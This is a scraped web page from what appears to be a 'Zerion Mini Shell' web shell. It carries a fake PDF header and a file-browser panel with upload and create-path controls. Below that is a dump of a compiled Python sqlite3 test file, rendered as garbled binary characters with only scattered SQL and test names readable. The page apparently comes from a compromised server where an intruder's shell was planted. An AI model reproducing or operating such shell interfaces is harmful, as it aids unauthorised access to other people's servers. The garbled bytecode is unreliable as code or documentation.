%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python3.8/sqlite3/test/__pycache__/
Upload File :
Create Path :
Current File : //usr/local/lib/python3.8/sqlite3/test/__pycache__/dump.cpython-38.pyc

U

p©ßaã@sDddlZddlZGdd„dejƒZdd„Zdd„Zedkr@eƒdS)	éNc@s,eZdZdd„Zdd„Zdd„Zdd„Zd	S)
Ú	DumpTestscCst d¡|_|j ¡|_dS)Nz:memory:)ÚsqliteÚconnectÚcxÚcursorÚcu©Úself©r
ú-/usr/local/lib/python3.8/sqlite3/test/dump.pyÚsetUpszDumpTests.setUpcCs|j ¡dS©N)rÚcloserr
r
rÚtearDownszDumpTests.tearDownc
stddddddddd	d
g
‰‡fdd„ˆDƒˆj ¡}d
d„|Dƒ‰dgˆdg‰‡‡‡fdd„ttˆƒƒDƒdS)Nz#CREATE TABLE "index"("index" blob);z"INSERT INTO "index" VALUES(X'01');z3CREATE TABLE "quoted""table"("quoted""field" text);z4INSERT INTO "quoted""table" VALUES('quoted''value');z‚CREATE TABLE t1(id integer primary key, s1 text, t1_i1 integer not null, i2 integer, unique (s1), constraint t1_idx1 unique (i2));z'INSERT INTO "t1" VALUES(1,'foo',10,20);z(INSERT INTO "t1" VALUES(2,'foo2',30,30);ztCREATE TABLE t2(id integer, t2_i1 integer, t2_i2 integer, primary key (id),foreign key(t2_i1) references t1(t1_i1));zrCREATE TRIGGER trigger_1 update of t1_i1 on t1 begin update t2 set t2_i1 = new.t1_i1 where t2_i1 = old.t1_i1; end;z;CREATE VIEW v1 as select * from t1 left join t2 using (id);csg|]}ˆj |¡‘qSr
)rÚexecute©Ú.0Úsrr
rÚ
<listcomp>,sz,DumpTests.CheckTableDump.<locals>.<listcomp>cSsg|]}|‘qSr
r
rr
r
rr.súBEGIN TRANSACTION;úCOMMIT;cs g|]}ˆ ˆ|ˆ|¡‘qSr
)ÚassertEqual)rÚi©Zactual_sqlsZ
expected_sqlsr	r
rr1sÿ)rÚiterdumpÚrangeÚlen)r	rr
rrÚCheckTableDumps(æ
ÿ
ÿzDumpTests.CheckTableDumpcCs`Gdd„dƒ}||j_d}d}d||dg}|j |¡|j |¡t|j ¡ƒ}| ||¡dS)Nc@seZdZdd„Zdd„ZdS)z5DumpTests.CheckUnorderableRow.<locals>.UnorderableRowcSs
||_dSr
©Úrow)r	rrr
r
rÚ__init__7sz>DumpTests.CheckUnorderableRow.<locals>.UnorderableRow.__init__cSs
|j|Sr
r)r	Úindexr
r
rÚ__getitem__9szADumpTests.CheckUnorderableRow.<locals>.UnorderableRow.__getitem__N)Ú__name__Ú
__module__Ú__qualname__r r"r
r
r
rÚUnorderableRow6sr&zCREATE TABLE "alpha" ("one");zCREATE TABLE "beta" ("two");rr)rZrow_factoryrrÚlistrr)r	r&ZCREATE_ALPHAZCREATE_BETAZexpectedZgotr
r
rÚCheckUnorderableRow4süzDumpTests.CheckUnorderableRowN)r#r$r%rrrr(r
r
r
rrs&rcCst t td¡¡S)NZCheck)ÚunittestZ	TestSuiteZ	makeSuiterr
r
r
rÚsuiteIsr*cCst ¡}| tƒ¡dSr
)r)ZTextTestRunnerÚrunr*)Zrunnerr
r
rÚtestLsr,Ú__main__)r)Zsqlite3rZTestCaserr*r,r#r
r
r
rÚ<module>sC

Zerion Mini Shell 1.0